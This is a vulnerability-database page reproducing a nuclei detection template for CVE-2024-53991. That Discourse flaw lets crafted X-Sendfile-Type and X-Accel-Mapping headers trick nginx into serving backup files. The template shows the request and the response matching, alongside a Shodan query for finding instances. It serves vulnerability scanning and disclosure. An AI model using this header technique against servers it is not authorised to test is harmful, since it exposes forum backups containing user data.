Lucene search
+L

Discourse Backup File Disclosure Via Default Nginx Configuration

🗓️ 17 Oct 2026 02:05:04Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 117 Views

Discourse vulnerability allows backup file disclosure via default Nginx configuration if misconfigured.

Related
Refs
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
FileStore::LocalStore Component Unauthorized Access
23 Jun 202500:00
–bdu_fstec
circl
Circl
CVE-2024-53991
19 Dec 202419:20
–circl
cnnvd
CNNVD
Discourse 信息泄露漏洞
19 Dec 202400:00
–cnnvd
cve
CVE
CVE-2024-53991
19 Dec 202419:11
–cve
cvelist
Cvelist
CVE-2024-53991 Potential Backup file leaked via Nginx in Discourse
19 Dec 202419:11
–cvelist
nvd
NVD
CVE-2024-53991
19 Dec 202420:15
–nvd
openvas
OpenVAS
Discourse < 3.3.3 Multiple Vulnerabilities
20 Dec 202400:00
–openvas
openvas
OpenVAS
Discourse 3.4.x < 3.4.0.beta4 Multiple Vulnerabilities
20 Dec 202400:00
–openvas
osv_bit
osv_bit
BIT-DISCOURSE-2024-53991 Potential Backup file leaked via Nginx in Discourse
23 Dec 202419:10
–osv_bit
ptsecurity
Positive Technologies
PT-2024-36003
19 Dec 202400:00
–ptsecurity
Rows per page
id: CVE-2024-53991

info:
  name: Discourse Backup File Disclosure Via Default Nginx Configuration
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    Discourse is an open source platform for community discussion. This vulnerability only impacts Discourse instances configured to use `FileStore--LocalStore` which means uploads and backups are stored locally on disk. If an attacker knows the name of the Discourse backup file, the attacker can trick nginx into sending the Discourse backup file with a well crafted request.
  impact: |
    Attackers who know the backup file name can bypass nginx access controls to download complete Discourse backup files containing sensitive data, user information, and database contents.
  remediation: |
    Update to the latest stable, beta or tests-passed version of Discourse. Alternatively, store backups on S3 or disable backups temporarily until the fix is applied.
  reference:
    - https://projectdiscovery.io/blog/discourse-backup-disclosure-rails-send_file-quirk/
    - https://github.com/discourse/discourse/security/advisories/GHSA-567m-82f6-56rv
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-53991
    cwe-id: CWE-200
    epss-score: 0.29891
    epss-percentile: 0.9819
  metadata:
    shodan-query: http.component:"Discourse"
  tags: cve,cve2024,discourse,disclosure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    extractors:
      - type: regex
        part: body
        name: styles
        group: 1
        regex:
          - 'href="(/stylesheets/discourse-.*?)"'
        internal: true

  - raw:
      - |
        GET {{styles}}&cachebuster={{randstr}} HTTP/1.1
        Host: {{Hostname}}
        X-Sendfile-Type: X-Accel-Redirect
        X-Accel-Mapping: .*=/downloads/backups/default/

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 403'
          - 'contains(content_type, "text/html")'
          - 'contains(response, "discourse")'
        condition: and
# digest: 4b0a00483046022100a013ce2eb3efaedc6c6b9229eed2ee37783798f0194f4535043bf114aaecf128022100d9285f20ea721a43283a273d77980b7f7c81421648b82c999638f4ac68945d61:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Feb 2026 07:00Current
7.2High risk
Vulners AI Score7.2
CVSS 3.15.9 - 7.5
EPSS0.29891
SSVC
117